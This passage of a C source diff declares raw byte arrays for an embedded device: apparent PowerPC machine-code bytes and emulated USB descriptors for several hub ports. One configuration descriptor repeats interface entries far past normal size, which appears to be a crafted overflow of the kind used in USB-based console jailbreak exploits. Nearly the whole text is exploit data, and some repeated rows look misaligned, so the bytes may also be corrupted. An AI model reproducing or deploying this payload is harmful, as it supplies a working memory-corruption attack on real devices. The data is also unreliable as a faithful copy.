0x00, 0x00, + 0x38, 0xa0, 0x06, 0xe8, 0x4b, 0x94, 0xca, 0x60, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, + 0xeb, 0x61, 0x00, 0x78, 0xeb, 0x81, 0x00, 0x80, 0xeb, 0xa1, 0x00, 0x88, 0xeb, 0xc1, 0x00, 0x90, + 0xeb, 0xe1, 0x00, 0x98, 0xe8, 0x01, 0x00, 0xb0, 0x38, 0x21, 0x00, 0xa0, 0x7c, 0x08, 0x03, 0xa6, + 0x38, 0x60, 0x00, 0x01, 0x78, 0x63, 0xf8, 0x06, 0x64, 0x63, 0x00, 0x70, 0x38, 0x80, 0x00, 0x00, + 0x38, 0xa0, 0x06, 0xe8, 0x4b, 0x94, 0xca, 0x60, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, + 0xeb, 0x61, 0x00, 0x78, 0xeb, 0x81, 0x00, 0x80, 0xeb, 0xa1, 0x00, 0x88, 0xeb, 0xc1, 0x00, 0x90, + 0xeb, 0xe1, 0x00, 0x98, 0xe8, 0x01, 0x00, 0xb0, 0x38, 0x21, 0x00, 0xa0, 0x7c, 0x08, 0x03, 0xa6, + 0x38, 0x60, 0x00, 0x01, 0x78, 0x63, 0xf8, 0x06, 0x64, 0x63, 0x00, 0x70, 0x38, 0x80, 0x00, 0x00, + 0x38, 0xa0, 0x06, 0xe8, 0x4b, 0x94, 0xca, 0x60, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, + 0xeb, 0x61, 0x00, 0x78, 0xeb, 0x81, 0x00, 0x80, 0xeb, 0xa1, 0x00, 0x88, 0xeb, 0xc1, 0x00, 0x90, + 0xeb, 0xe1, 0x00, 0x98, 0xe8, 0x01, 0x00, 0xb0, 0x38, 0x21, 0x00, 0xa0, 0x7c, 0x08, 0x03, 0xa6, + 0x38, 0x60, 0x00, 0x01, 0x78, 0x63, 0xf8, 0x06, 0x64, 0x63, 0x00, 0x70, 0x38, 0x80, 0x00, 0x00, + 0x38, 0xa0, 0x06, 0xe8, 0x4b, 0x94, 0xca, 0x60, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, + 0xeb, 0x61, 0x00, 0x78, 0xeb, 0x81, 0x00, 0x80, 0xeb, 0xa1, 0x00, 0x88, 0xeb, 0xc1, 0x00, 0x90, +}; + +const uint8_t PROGMEM port2_device_descriptor[] = { + 0x12, 0x01, 0x00, 0x02, 0x00, 0x00, 0x00, 0x08, + 0xAA, 0xAA, 0xBB, 0xBB, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x01, +}; + +const uint8_t PROGMEM port2_config_descriptor[] = { + // config + 0x09, 0x02, 0x16, 0x00, 0x01, 0x01, 0x00, 0x80, + 0x01, + // interface + 0x09, 0x04, 0x00, 0x00, 0x00, 0xFE, 0x01, 0x02, + 0x00, + // extra + 0x04, 0x21, 0xb4, 0x2f, +}; + +const uint8_t PROGMEM port3_device_descriptor[] = { + 0x12, 0x01, 0x00, 0x02, 0x00, 0x00, 0x00, 0x08, + 0xAA, 0xAA, 0x55, 0x55, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x02, +}; + +const uint8_t PROGMEM port3_config_descriptor[] = { + 0x09, 0x02, 0x4d, 0x0a, 0x01, 0x01, 0x00, 0x80, 0x01, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, + 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, + 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, + 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, + 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, + 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, + 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, + 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, + 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, + 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, + 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, + 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, + 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, + 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, + 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, + 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, + 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, + 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, + 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, + 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, + 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, + 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, + 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, + 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, + 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, + 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, + 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, + 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, + 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, + 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, + 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, + 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, + 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, + 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, + 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, + 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, + 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, + 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, + 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, + 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, + 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, + 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, + 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, + 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, + 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, + 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, + 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, + 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, + 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, + 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, + 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, + 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, + 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, + 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, + 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, + 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, + 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, + 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, + 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, + 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, + 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, + 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, + 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, + 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, + 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, + 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, + 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, + 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, + 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, + 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, + 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, + 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, + 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, + 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, + 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, + 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, + 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, + 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, + 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, + 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, + 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, + 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, + 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, + 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, + 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, + 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, + 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, + 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, + 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, + 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, + 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, + 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, + 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, + 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, + 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, + 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, + 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, + 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, + 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, + 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, + 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, + 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, + 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, + 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, + 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, + 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, + 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, + 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, + 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, + 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, + 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, + 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, + 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, + 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, + 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, + 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, + 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, + 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, + 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, + 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, + 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, + 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, + 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, + 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, + 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, + 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, + 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, + 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, + 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, + 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, + 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, + 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, + 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, + 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, + 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, + 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, + 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, + 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, + 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, + 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, + 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, + 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, + 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, + 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, + 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, + 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, + 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, + 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, + 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, + 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, + 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, + 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, + 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, + 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, + 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, + 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, + 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x04, 0x00, + 0x00, 0x00, 0xfe, 0x01, 0x02, 